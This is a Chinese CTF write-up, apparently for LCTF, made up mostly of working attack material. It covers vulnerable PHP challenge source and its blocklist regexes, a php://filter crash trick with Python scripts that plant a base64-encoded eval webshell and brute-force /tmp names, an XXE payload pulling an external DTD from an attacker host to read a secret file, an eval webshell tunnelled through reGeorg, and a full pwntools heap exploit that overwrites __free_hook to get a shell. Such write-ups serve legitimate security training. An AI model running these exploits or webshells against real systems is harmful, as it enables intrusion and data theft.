class K0rz3n_secret_flag {
protected $file_path;
function __destruct(){
if(preg_match('/(log|etc|session|proc|data|read_secret|history|class|\.\.)/i', $this->file_path)){
die("Sorry Sorry Sorry");
}
include_once($this->file_path);
}
}

function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)){
die("Bye");
}
if ( !hash_equals(hash_hmac("md5", $data, $SECRET), $hmac) ){
die("Bye Bye");
}
$data = unserialize($data);

if ( !isset($data->avatar) ){
die("Bye Bye Bye");
}
return $data->avatar;
}

function upload($path) {
if(isset($_GET['url'])){
if(preg_match('/^(http|https).*/i', $_GET['url'])){
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a"){
die("Fuck off");
}
file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}else{
die("Hacker");
}
}else{
die("Miss the URL~~");
}
}

function show($path) {
if ( !is_dir($path) || !file_exists($path . "/avatar.gif")) {

$path = "/var/www";
}
header("Content-Type: image/gif");
die(file_get_contents($path . "/avatar.gif"));
}

function check($path){
if(isset($_GET['c'])){
if(preg_match('/^(ftp|php|zlib|data|glob|phar|ssh2|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_GET['c'])){
die("Hacker Hacker Hacker");
}else{
$file_path = $_GET['c'];
list($width, $height, $type) = @getimagesize($file_path);
die("Width is :" . $width." px<br>" .
"Height is :" . $height." px<br>");
}
}else{
list($width, $height, $type) = @getimagesize($path."/avatar.gif");
die("Width is :" . $width." px<br>" .
"Height is :" . $height." px<br>");
}
}

function move($source_path,$dest_name){
global $FILEBOX;
$dest_path = $FILEBOX . "/" . $dest_name;
if(preg_match('/(log|etc|session|proc|root|secret|www|history|file|\.\.|ftp|php|phar|zlib|data|glob|ssh2|rar|ogg|expect|http|https)/i',$source_path)){
die("Hacker Hacker Hacker");
}else{
if(copy($source_path,$dest_path)){
die("Successful copy");
}else{
die("Copy failed");
}
}
}

$mode = $_GET["m"];

if ($mode == "upload"){
upload(check_session());
}
else if ($mode == "show"){
show(check_session());
}
else if ($mode == "check"){
check(check_session());
}
else if($mode == "move"){
move($_GET['source'],$_GET['dest']);
}
else{

highlight_file(__FILE__);
}

include("./comments.html");

差别:

if(preg_match('/(log|etc|session|proc|root|secret|www|history|file|\.\.|ftp|php|phar|zlib|data|glob|ssh2|rar|ogg|expect|http|https)/i',$source_path)){这一段正则里边多了data,所以无法读取data目录下的内容。

方法1

1
include.php?file=php://filter/string.strip_tags/resource=/etc/passwd

可以导致 php 在执行过程中 Segment Fault,本地文件包含漏洞可以让 php 包含自身从而导致死循环
然后 php 就会崩溃 , 如果请求中同时存在一个上传文件的请求的话 , 这个文件就会被保留。

http://212.64.74.153/LCTF.php?m=check&c=compress.zlib://php://filter/string.strip_tags/resource=/etc/passwd

同时上传文件,文件就会保留在tmp中,然后爆破即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import string
import itertools

charset = string.digits + string.letters

host = "192.168.43.155"
port = 80
base_url = "http://%s:%d" % (host, port)


def upload_file_to_include(url, file_content):
files = {'file': ('evil.jpg', file_content, 'image/jpeg')}
try:
response = requests.post(url, files=files)
except Exception as e:
print e


def generate_tmp_files():
webshell_content = '<?php eval($_REQUEST[c]);?>'.encode(
"base64").strip().encode("base64").strip().encode("base64").strip()
file_content = '<?php if(file_put_contents("/tmp/ssh_session_HD89q2", base64_decode("%s"))){echo "flag";}?>' % (
webshell_content)
phpinfo_url = "%s/include.php?f=php://filter/string.strip_tags/resource=/etc/passwd" % (
base_url)
length = 6
times = len(charset) ** (length / 2)
for i in xrange(times):
print "[+] %d / %d" % (i, times)
upload_file_to_include(phpinfo_url, file_content)


def main():
generate_tmp_files()


if __name__ == "__main__":
main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import string

charset = string.digits + string.letters

host = "192.168.43.155"
port = 80
base_url = "http://%s:%d" % (host, port)


def brute_force_tmp_files():
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = i + j + k + l + m + n
url = "%s/include.php?f=/tmp/php%s" % (
base_url, filename)
print url
try:
response = requests.get(url)
if 'flag' in response.content:
print "[+] Include success!"
return True
except Exception as e:
print e
return False


def main():
brute_force_tmp_files()


if __name__ == "__main__":
main()

作者:王一航
链接:https://www.jianshu.com/p/dfd049924258
來源:简书
简书著作权归作者所有,任何形式的转载都请联系作者获得授权并注明出处。

参考链接:

https://www.jianshu.com/p/dfd049924258

利用tmpfile getshell

方法二:

参考链接: https://www.anquanke.com/post/id/164818

8080端口是一个tomcat,上传评论的时候Content-Type改成xml存在xxe漏洞,有回显。但是POST数据中过滤了很多关键词,例如root、etc等,所以绕过方式为POST数据

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
<!ENTITY % bbb SYSTEM "http://ip:8000/ext.dtd">%bbb;
]>
<map>
<name>&ddd;</name>
<content>asddsa</content>
</map>

ext.dtd中放敏感数据:

1
<!ENTITY ddd SYSTEM "file:///var/www/read_secret">

God of domain pentest

为复现: 仅仅练习reGeorg操作。

1
2
3
4
5
6
题目描述:
windows域环境权限不好配,还请各位师傅高抬贵手,不要搅屎
c段只用到了0-20,不需要扫21-255,端口也只开放了常用端口。
web.lctf.com中有个域用户是web.lctf.com\buguake,密码是172.21.0.8的本地管理员密码

188.131.161.90

端口转发工具:https://github.com/zsxsoft/reGeorg

index.php:

1
2
3
4
5
<?php
highlight_file(__FILE__);
$lshell=$_GET['lshell'];
eval($lshell);
var_dump($lshell);

启动脚本:

1
ht@TIANJI:/mnt/c/Users/HT/Desktop/lctf/reGeorg$ python reGeorgSocksProxy.py -p 8080 -u http://188.131.161.90/index.php -k lshell

设置代理:

Pwn

easy_heap

exp.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#-*- coding:utf8
from pwn import *
def add(size,data):
p.recvuntil('>')
p.sendline('1')
p.recvuntil('size')
p.sendline(str(size))
p.recvuntil('content')
p.send(data)

def dele(index):
p.recvuntil('>')
p.sendline('2')
p.recvuntil('index')
p.sendline(str(index))

context.log_level = "debug"
p=process('./easy_heap') #,env={'LD_PRELOAD':'./libc64.so'})
#p=remote('118.25.150.134', 6666)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
for i in range(10):
add(0xf0,'aaa\n')

dele(1)
for i in range(3,8):
dele(i)
dele(9)
dele(8)
dele(2)
dele(0)

for i in range(7):
add(0xf0,'aaa\n')
# 这时候,unsorted bin中还有3个块,申请一个出来时,剩下的都会被添加到tcache中
add(0,'')

"""
0x5595c02f3500 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 257,
fd = 0x5595c02f3b00,
bk = 0x5595c02f3300,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

pwndbg> x/4xg 0x5595c02f3b00
0x5595c02f3b00: 0x0000000000000000 0x0000000000000101
0x5595c02f3b10: 0x0000000000000000 0x00005595c02f3500
pwndbg> x/4xg 0x5595c02f3300
0x5595c02f3300: 0x0000000000000000 0x0000000000000101
0x5595c02f3310: 0x00005595c02f3500 0x00007fbc5c2bec78

这样就可以绕过检查: p->bk->fd == p && p->fd->bk == p
"""
# 这里需要注意,不能添加任何值,否则会破坏里边的指针
add(0xf8, '\n')
dele(0)
dele(1)
dele(2)
dele(3)
dele(4)
dele(6)

"""
0x5595c02f3600 {
mchunk_prev_size = 256,
mchunk_size = 256,
fd = 0x559500616161,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
"""
dele(5)
p.recvuntil('>')
p.sendline('3')
p.recvuntil("index \n> ")
p.sendline('8')

addr = u64(p.recv(6).ljust(8,'\x00'))
print "addr", hex(addr)
libc_base = addr - (0x7f3c863a4c78 - 0x7f3c85fca000)
print "libc_base", hex(libc_base)
free_hook = libc_base+libc.symbols['__free_hook']

for i in range(7):
add(16,'/bin/bash\n')
one = libc_base + 0xfccde
print "free_hook", hex(free_hook)
add(0,'')
dele(5)
dele(8)
dele(9)
add(16,p64(free_hook)+'\n')
add(16,'abc\n')
add(16,p64(one)+'\n')
dele(0)

p.interactive()
CATALOG
  1. 1. Web
    1. 1.1. Travel
      1. 1.1.1. 源码
      2. 1.1.2. uuid.getnode()
      3. 1.1.3. 上传文件
      4. 1.1.4. 写公钥
    2. 1.2. T4lk is cheap,show me the shell
      1. 1.2.1. 源码
      2. 1.2.2. 上传文件
    3. 1.3. EZ oauth
      1. 1.3.1. 简述
      2. 1.3.2. 注册登录
    4. 1.4. bestphp’s revenge
      1. 1.4.1. 利用soap触发ssrf
      2. 1.4.2. 设置user_agent头来构造CRLF
      3. 1.4.3. payload.php
      4. 1.4.4. 将payload写入某个session5rtososkghp97ud5fgupgpk014
      5. 1.4.5. php_serialize引擎反序列化
      6. 1.4.6. 通过SoapClient调用不存在的方法,触发反序列化.
      7. 1.4.7. getFlag:
    5. 1.5. L playground2
      1. 1.5.1. os.path.join特性:
      2. 1.5.2. 下载文件
    6. 1.6. sh0w m3 the sh31l 4ga1n
      1. 1.6.1. 方法1
      2. 1.6.2. 方法二:
    7. 1.7. God of domain pentest
  2. 2. Pwn
    1. 2.1. easy_heap